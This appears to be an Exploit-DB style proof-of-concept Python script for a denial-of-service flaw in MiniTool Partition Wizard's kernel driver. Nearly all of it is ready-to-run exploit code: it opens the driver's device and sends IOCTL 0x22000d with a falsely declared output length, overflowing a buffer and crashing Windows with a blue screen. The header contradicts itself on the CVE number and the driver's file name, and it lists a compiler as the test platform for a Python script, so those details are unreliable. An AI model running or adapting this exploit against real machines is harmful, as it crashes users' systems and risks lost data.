"""
Exploit Title: CVE-2026-36981 Minitool pwrdvio.sys Kernel BSOD
Date: 2026-02-09
Exploit Author: patchmeifucan - patchmeifucan.com
Vendor Homepage: https://github.com/canomer/CVE-2026-36980-Kernel-BSOD-DoS-PoC
Software Link: https://www.minitool.com/partition-manager/
Version: <=13.6
Tested on: Windows 10 / Windows 11 / x86_64-w64-mingw32-g++ (GCC) 15-win32
CVE : CVE-2026-36980
Run Command : ~$ Dos_PoC.py
"""
import ctypes
from ctypes import wintypes

# Device path
DEVICE_NAME = r"\\.\PartitionWizardDiskAccesser\0"
kernel32 = ctypes.windll.kernel32

# Windows API definitions
kernel32.CreateFileW.argtypes = [wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD, 
                                 wintypes.LPVOID, wintypes.DWORD, wintypes.DWORD, 
                                 wintypes.HANDLE]
kernel32.CreateFileW.restype = wintypes.HANDLE

kernel32.DeviceIoControl.argtypes = [wintypes.HANDLE, wintypes.DWORD, wintypes.LPVOID, 
                                     wintypes.DWORD, wintypes.LPVOID, wintypes.DWORD, 
                                     ctypes.POINTER(wintypes.DWORD), wintypes.LPVOID]
kernel32.DeviceIoControl.restype = wintypes.BOOL

def trigger_bsod():
    print("[*] MiniTool pwdrvio.sys DoS Exploit")
    print("[*] Triggering Blue Screen of Death...")
    
    # Open device
    handle = kernel32.CreateFileW(DEVICE_NAME, 0xC0000000, 3, None, 3, 0, None)
    
    if handle == wintypes.HANDLE(-1).value or handle is None:
        print("[-] Failed to open driver")
        print("[-] Ensure MiniTool Partition Wizard is installed")
        return
    
    print("[+] Driver opened successfully")
    
    # Vulnerable IOCTL code
    TARGET_IOCTL = 0x22000d
    
    # Input buffer: 1024 bytes of 0xFF
    input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
    
    # Output buffer: Only 4 bytes (but claim 8192!)
    real_output_buffer = ctypes.create_string_buffer(4)
    fake_output_length = 8192  # Driver trusts this value → Overflow!
    bytes_returned = wintypes.DWORD(0)
    
    print("[!] Sending malicious IOCTL...")
    print("[!] System will crash in 3...2...1...")
    
    # Trigger buffer overflow → BSOD
    kernel32.DeviceIoControl(
        handle, 
        TARGET_IOCTL, 
        input_buf, 
        1024, 
        real_output_buffer, 
        fake_output_length,  # ← Vulnerability trigger
        ctypes.byref(bytes_returned), 
        None
    )
    
    # This line will never execute
    print("[*] If you see this, the exploit failed")

if __name__ == "__main__":
    trigger_bsod()